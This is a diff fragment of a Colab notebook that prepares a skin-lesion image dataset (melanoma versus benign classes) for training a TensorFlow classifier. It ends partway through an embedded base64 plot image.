+        "generate_csv(\"data/valid\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})\n",
+        "generate_csv(\"data/test\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 3,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "lQoAcq2xobGA",
+        "outputId": "2118e9ab-4bab-4f20-a61e-9a5ace18ce1b"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Number of training samples: 2000\n",
+            "Number of validation samples: 150\n"
+          ]
+        }
+      ],
+      "source": [
+        "# loading data\n",
+        "train_metadata_filename = \"train.csv\"\n",
+        "valid_metadata_filename = \"valid.csv\"\n",
+        "# load CSV files as DataFrames\n",
+        "df_train = pd.read_csv(train_metadata_filename)\n",
+        "df_valid = pd.read_csv(valid_metadata_filename)\n",
+        "n_training_samples = len(df_train)\n",
+        "n_validation_samples = len(df_valid)\n",
+        "print(\"Number of training samples:\", n_training_samples)\n",
+        "print(\"Number of validation samples:\", n_validation_samples)\n",
+        "train_ds = tf.data.Dataset.from_tensor_slices((df_train[\"filepath\"], df_train[\"label\"]))\n",
+        "valid_ds = tf.data.Dataset.from_tensor_slices((df_valid[\"filepath\"], df_valid[\"label\"]))"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 4,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "xeC2ooEJodFF",
+        "outputId": "b13fe41a-2f0b-4c1c-83d8-e70ee79c7b9d"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Image shape: (299, 299, 3)\n",
+            "Label: 0\n"
+          ]
+        }
+      ],
+      "source": [
+        "# preprocess data\n",
+        "def decode_img(img):\n",
+        "  # convert the compressed string to a 3D uint8 tensor\n",
+        "  img = tf.image.decode_jpeg(img, channels=3)\n",
+        "  # Use `convert_image_dtype` to convert to floats in the [0,1] range.\n",
+        "  img = tf.image.convert_image_dtype(img, tf.float32)\n",
+        "  # resize the image to the desired size.\n",
+        "  return tf.image.resize(img, [299, 299])\n",
+        "\n",
+        "\n",
+        "def process_path(filepath, label):\n",
+        "  # load the raw data from the file as a string\n",
+        "  img = tf.io.read_file(filepath)\n",
+        "  img = decode_img(img)\n",
+        "  return img, label\n",
+        "\n",
+        "\n",
+        "valid_ds = valid_ds.map(process_path)\n",
+        "train_ds = train_ds.map(process_path)\n",
+        "# test_ds = test_ds\n",
+        "for image, label in train_ds.take(1):\n",
+        "    print(\"Image shape:\", image.shape)\n",
+        "    print(\"Label:\", label.numpy())"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 5,
+      "metadata": {
+        "id": "HTOYEZK3ogUP"
+      },
+      "outputs": [],
+      "source": [
+        "# training parameters\n",
+        "batch_size = 64\n",
+        "optimizer = \"rmsprop\""
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 6,
+      "metadata": {
+        "id": "iG71Bw2EohfN"
+      },
+      "outputs": [],
+      "source": [
+        "def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):\n",
+        "  if cache:\n",
+        "    if isinstance(cache, str):\n",
+        "      ds = ds.cache(cache)\n",
+        "    else:\n",
+        "      ds = ds.cache()\n",
+        "  # shuffle the dataset\n",
+        "  ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n",
+        "\n",
+        "  # Repeat forever\n",
+        "  ds = ds.repeat()\n",
+        "  # split to batches\n",
+        "  ds = ds.batch(batch_size)\n",
+        "\n",
+        "  # `prefetch` lets the dataset fetch batches in the background while the model\n",
+        "  # is training.\n",
+        "  ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n",
+        "\n",
+        "  return ds\n",
+        "\n",
+        "\n",
+        "valid_ds = prepare_for_training(valid_ds, batch_size=batch_size, cache=\"valid-cached-data\")\n",
+        "train_ds = prepare_for_training(train_ds, batch_size=batch_size, cache=\"train-cached-data\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 7,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 699
+        },
+        "id": "nNsK1uemoi7C",
+        "outputId": "98e375fc-0260-49c7-f1e9-2d281c3255b6"
+      },
+      "outputs": [
+        {
+          "data": {
+            "image/png": "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